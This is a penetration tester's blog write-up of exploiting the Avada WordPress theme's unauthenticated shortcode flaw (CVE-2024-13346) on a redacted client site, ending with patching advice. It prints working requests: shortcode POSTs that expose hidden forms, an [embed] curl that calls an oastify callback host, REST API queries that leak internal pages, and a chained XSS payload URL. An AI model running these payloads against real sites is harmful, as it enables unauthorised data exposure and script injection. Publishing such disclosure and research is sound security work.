Read Before Continuing!
There are two other blog posts relating to this one!
Other note: This blog isn’t linear in time, and these bugs were found over the course of 4 days, and many sleepless nights.
Too Long, Didn’t Read:
[Vuln Chain Overview]
[Unauthenticated Shortcode Execution]
The Avada theme allowed unauthenticated users to send arbitrary shortcodes to a REST endpoint—no auth required
↓
[Gravity Forms shortcode exposes hidden PII]
These shortcodes loaded internal forms that leaked employee forms and privileged information.
↓
[embed shortcode triggers callback via oEmbed fetch]
The [embed] shortcode led to a callback via oEmbed fetch.
↓
[Unauthenticated wp/v2/pages and wp/v2/media REST API leaks sensitive internal content]
Public API exposed internal pages, including names, phone numbers, emails, and confidential docs
↓
[Chained plugin shortcodes (WPDM + GravityForms) yield XSS]
Chained shortcodes with a text/html Content-Type header led to successful client-side JavaScript execution.
The Preface
On a long flight to India to be with my team, I was thinking about our next pentest target. I can’t publicly disclose their name here, because I actually like my job for the most part, but I can say it’s within the transportation industry here in the Netherlands.
Travelling for a team building exercise, and general meetup, but also getting to hack with some of the most talented people I know, I was excited to finally have a week to sit down and do nothing but that. Being in a different timezone than the rest of my colleagues, I was able to knock out most of my duties in the morning before any of them woke up, which left my evenings and nights quite free. I could also wake up later which meant I stayed up later, and that’s exactly what the team and I did. The Build-Up And Background The team and I began the pentesting process as usual, where hungry hackers would begin to obsessively perform reconnaissance on the target, finding all the weirdest endpoints. Olivier, the Chief Hacking Officer and Co-Founder of Hadrian, the company I work at, found a strange endpoint. It was a WordPress website that offered very little in terms of interesting endpoints, as most required authentication. Olivier didn’t think much of it, nor did the rest of the team, but my gut said something otherwise. So I obsessed over this asset.
I found that the /wp-json/ endpoint was available and I plugged the assets available to us in Burp Suite and began a passive scan. Thanks to Burp’s extension called JS Miner, I found something of interest. Most of the time this passive extension is focused on finding credentials or secrets hardcoded into assets, or in JS. It also reports on dependencies that might have CVEs associated with them. It found all of that and more… it found the Avada theme which was still vulnerable to CVE-2024-13346.
Details below from the NIST advisory for CVE-2024-13346:
“The Avada Website Builder For WordPress & WooCommerce theme for WordPress is vulnerable to unauthenticated arbitrary shortcode execution in all versions up to, and including, 7.11.13. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode.”
This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. Arbitrary shortcode execution could allow for unauthenticated threat actors to chain vulnerabilities such as RCE or gain unauthorized access via shortcodes, and this is exactly what I wanted to do.
The First Finding
This piqued my interest, and though I was told it was a waste of time, I didn’t give up. So it began, my sleepless nights, the days that I couldn’t stop obsessing over the possibility of escalating this to RCE. Based on the information I gathered when digging into the website, it was fairly new, but existed in 2024, likely towards the end of the year where it was set up. According to CVE-2024-13346, it was found within 2024 but released in February of 2025. The likelihood of this being patched was looking less and less likely. So I studied what I could find about the shortcodes mentioned on the pages of WPScan and NIST.
This vulnerability talked about shortcodes, but prior to this bug, I have honestly never heard of them before. What the fuck was a shortcode? Based on what I have been able to search online, they’re kind of like MyBB tags or BBCode, but dynamically interpreted by WordPress plugins. In a sense, WordPress shortcodes are like macros; a plugin registers a shortcode, and WordPress replaces it with dynamic content during rendering anything from login forms to file downloads. I’d be lying if I told you I understood them even now, but I do know that this theme makes them wildly broken depending on the plugins installed, if you’re running a vulnerable version.
That said, this began the biggest labor of it all. Utilizing WPScan, a bit of ChatGPT to help me research what shortcodes are, and of course digging into the source code of the plugins, and trying to fingerprint as many as possible, I was able to build a decent list of plugins from my first attempt.
My first list comprised of:
"oembed/1.0",
"wpdm",
"redirection/v1",
"gravityforms/v2",
"awb/instagram",
"awb",
"wp/v2",
"wp-site-health/v1",
"wp-block-editor/v1"
Not bad, but there was more, I was sure of it. This, however, was a sufficient starting place for me. So I began digging, enumerating any paths from WordPress that I could potentially access, making note of it, and trying different things. The idea of achieving RCE on such an important target made my heart race and fueled me to prove Olivier wrong in the most loving way. So that’s what my goal was from then on. Spoiler alert, this didn’t pan out, but I still got some REALLY good findings, and who knows what the future holds for me finding this theme on some bug bounty programs.
I began digging into the plugins again, trying to find any potential shortcodes they might have, and asking ChatGPT to give me potential shortcodes that could work. I began making request via Burp in the repeater tab, when I struck gold:
POST /wp-json/awb/rendered_content HTTP/2
Host: redacted.nl
Content-Type: application/json
Content-Length: 82
{"content": "[fusion_alert type=\"success\"]Hello from shortcode![/fusion_alert]"}
Unauthenticated Shortcode Successfully Rendered Server-Side
From this, I got a 200 response from the endpoint which accepts unauthenticated POST requests containing arbitrary shortcodes in a JSON payload, which are rendered server-side. I celebrated, but I wasn’t done yet. I wanted to escalate this to that potential RCE, or even SSRF, LFI, hell I’d take an XSS. So the real work began.
The Plugin Nightmare
I did further digging on the plugins later and began to find even more plugins, including:
- Must Use Plugins
- WP-Cron
- Fusion Code
And a colleague came in with the assist on:
- WordPress Download Manager (wpdm)
- Easy WP SMTP
- Get Text Override Translations
- Loco Translate
- Redirection
- Remove WP Branding
- WP Front User Role Editor
I began digging into the Gravity Forms plugin, with little success, so I thought. I spent a while on this and I had a lot of HTML suddenly dumped in response, but at this point it was 3 am, and I was exhausted. I didn’t feel like reconstructing the webpage or going through it individually, and this was a mistake, an important one that I later corrected.
I was furiously digging into it all day the next day, as it pretty much consumed my existence during this trip, and I kept telling Olivier how close I was. So, he began looking into GravityForms with me, he asked me what I tried, which I obliged him and showed the response I got. In my exhausted state, I had no idea I struck gold. I showed him what it dumped and I realized with a bit of JavaScript fuckery in the console and a bit of help from Olivier, I could rebuild this page and reveal a form for employees to fill out and submit that was hidden behind authentication. It included subsidiaries or other companies associated with this one.
POST /wp-json/awb/rendered_content HTTP/2
Host: redacted.nl
Content-Type: application/json
Content-Length: 37
{"content": "[gravityform id=\"1\"]"}
Internal form rendered without authentication, exposing a forum for employees and other privileged information. This was a major data exposure risk: using the Gravity Forms shortcode via the AWB endpoint bypassed the usual login check and dumped internal forms intended for authenticated users only, some with potential PII. [embed] to Server-Side Callback I still wasn’t satisfied. I knew I could kick it up a notch, so I did. I was able to leverage the [embed] shortcode, which is part of the WordPress core, and along with Burp Collaborator, I found that the [embed] shortcode provided a callback:
curl -s -X POST https://redacted.nl/wp-json/awb/rendered_content \
-H "Content-Type: application/json" \
-d '{"content": "[embed]http://at7ehek9zioscoir251hbkyh58bzzpne.oastify.com/Hadrian[/embed]"}'
This was a lot of trial and error and it took me around 4 hours to get this to work, because I saw this potentially occurring in a few different shortcodes. However, the effort was worth it and I got a callback! The team and I celebrated. We were making huge progress when this pentest had previously stalled.
Note: While the evidence supports server-side interaction, further investigation is required to confirm full SSRF capabilities (e.g., internal IP targeting, header manipulation, or metadata access). Thus, this behavior is currently referred to as a server-side callback rather than confirmed SSRF.
And Then Some…
Despite this finding, I knew I could take it further, so I did. I spent many, many, many hours the next day, and even into the late night, studying and digging into this. I decided to take a new approach and switched to using my CLI sending cURL requests to see if anything juicy would come from it. Trial and error was large during this time, and I found jack shit all day. It was heart-wrenching, but I’m resilient and continued. 4 am rolled around and once again I found gold.
curl -s https://redacted.nl/wp-json/wp/v2/pages\?per_page\=100 | jq '.[].content.rendered'
curl -s https://redacted.nl/wp-json/wp/v2/media\?per_page\=100 | jq '.[].content.rendered'
Another auth issue reared its ugly head. This isn’t related to the shortcode issue directly, but was found while I was digging. A page hidden behind authentication, or so this poor company thought, was actually fully exposed via the REST API. I began to notice names, emails, and job roles. The more I dug, the more my heart sank. This was a lot of personally identifiable information (PII). Employees and contractors from 2021. Even links to Google Sheets, phone numbers, and info tied to an airport. It was a full-on data spill. Olivier jumped in with me, and we found confidential documents, as these documents specified that they were not meant to be released to the public without prior authorization. It was internal documentation about architecture and build plans of critical infrastructure. This finding was massive.
Bonus Content: Cross-Site Scripting
Finally, all was said and done. I thought I had found enough. But if you know me, you’d know I wanted more. I began debating with Olivier whether or not XSS was achievable. I knew I was right, but I also knew in a way he was right too.
With Content-Type: application/json
, most HTML and JS wouldn’t be interpreted in this endpoint. But through a different shortcode and vector, I believed it might still be possible. A colleague helped research this and gave me a theory. Olivier tried it… and proved himself wrong.
Leveraging the arbitrary shortcode injection, Olivier used the combination of Fusion Code and WordPress Download Manager shortcodes to look at the potential of an RCE. Using Content-Type: text/html for the header, he was able to discover a cross-site scripting. The shortcodes were able to execute the malicious javascript because of the combination of the header and the Avada Theme’s shortcode flaw.
https://redacted.nl/?__wpdmxp=%27][/wpdm_package][fusion_code]%3Cimg%20src=x%20onerror=alert(1)%3E[/fusion_code][wpdm_package%20id=%27
This demonstrated the severity of how shortcodes could be chained and abused. It wasn’t RCE yet but it was close. And proof that the shortcode attack surface, when combined creatively, is not to be underestimated.
Final Words and Remediation Advice:
I’m excited to be applying this POC to both future pentest customers, as well as bug bounties. I hope this research also benefits other security researchers, and even developers looking to shift left and take security to the start of development. I’d also like to take this moment to thank my team for the support and patience, as well as Niels, Olivier and Victoria who proofread this mess and gave excellent feedback. The support is appreciated because the writeup is the hardest part.
Finding this arbitrary shortcode execution flaw was pretty interesting. It had a significant impact on the customer. It’s a good reminder as to why updating your WordPress themes and plugins is important to maintain a good security hygiene. If you believe yourself to be vulnerable to the Avada Shortcode execution, and/or you’re using the Avada or Avada Child theme, it’s best to:
- Update Avada Theme: Immediately upgrade to Avada 7.11.14 or newer, where this issue is patched.
- Restrict Shortcode Execution: Use capability checks before rendering shortcodes through any REST endpoint.
- Disable Unused Plugins: Remove unused plugins like GravityForms if not needed.